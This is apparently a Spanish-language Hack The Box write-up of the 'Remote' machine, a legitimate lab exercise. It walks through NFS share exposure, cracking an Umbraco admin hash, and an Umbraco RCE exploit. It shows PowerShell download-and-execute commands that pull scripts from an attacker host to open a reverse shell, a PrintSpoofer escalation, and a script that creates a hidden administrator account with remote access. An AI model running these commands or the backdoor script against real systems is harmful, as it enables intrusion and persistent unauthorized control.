Remote - Hack The Box
La máquina de hoy consiste en una mala configuración que deja expuesto una carpeta web del sistema. Gracias a dicha carpeta logramos extraer la versión de la aplicación y la contraseña de admin. Después la escalada consiste a través de un SeImpersonatePrivilege que consiste en poder ejecutar cualquier comando como nt authority.
Enumeración
Comenzamos con un nmap.
nmap -sCV -p21,80,111,135,139,445,2049,5985,47001,49664,49665,49666,49667,49678,49679,49680 10.10.10.180 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-13 11:41 -03
Nmap scan report for 10.10.10.180
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-syst:
|_ SYST: Windows_NT
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
80/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Home - Acme Widgets
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
2049/tcp open mountd 1-3 (RPC #100005)
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49678/tcp open msrpc Microsoft Windows RPC
49679/tcp open msrpc Microsoft Windows RPC
49680/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-09-13T14:42:22
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 218.23 seconds
En el escaneo de nmap logramos ver el servicio rpcbind, con la herramienta showmount podemos ver una montura expuesta por una mala configuración del sistema.
showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)
Con mount procedemos a crear una montura para extraer todos los archivos del directorio a nuestro sistema.
Gracias a la montura identificamos que estamos contra un umbraco, generalmente el servicio web umbraco contiene un archivo llamado umbraco.sdf que ahí contiene contraseñas cifradas, lo buscamos y procedemos a tirarle un strings y buscamos por la palabra admin y encontramos esto. Luego mediante un archivo txt sacamos la versión de umbraco.
Procedemos a crackear la contraseña con john y vemos que la contraseña decifrada es baconandcheese.
Rce y elevacion de privilegios.
Nos descargamos un exploit para la version 7.12.4 de umbraco y logramos ejecutar comandos.
Ahora que podemos ejecutar cualquier comando procedemos a crearnos una reverse shell.
python3 49488.py -u 'admin@htb.local' -p baconandcheese -i http://10.10.10.180 -c powershell.exe -a "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/Shell.ps1')"
Una vez adentro del sistema, ejecutamos un whoami /priv y vemos que tiene el privilegio SeImpersonatePrivilege.
Accionarle dicho permiso al usuario consiste en un grabe error, ya que gracias al permiso podemos llegar a ejecutar comandos como nt authority. Procedemos a descargarnos PrintSpoofer64.exe lo que el binario hace es que podamos ejecutar comandos.
Para poder tener una shell como administrator nos creamos un simple script en powershell que se encarga de crear un usuario y modifica las reglas de windows para poder acceder a dicho usuario mediante evil-winrm, con este simple comando bastaría.
.\PrintSpoofer64.exe -i -c "powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.8/persistence.ps1')"
function persistence($user,$password) {
net user $user $password /add |out-null #Añade un usuario
net localgroup administrators $user /add |out-null #Agrega al grupo administrator
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4 |out-null
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f |out-null
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f |out-null # Modifica las reglas de windows para que podamos acceder remotamente.
net localgroup "Remote Management Users" $user /add |out-null # Lo agrega a un grupo en lo cual nos permite ingresar remotamente.
echo "Successful";
exit 0 # Salida exitosa
}
persistence("cxdxnt","pwned123456#!@") #Usuario y contraseña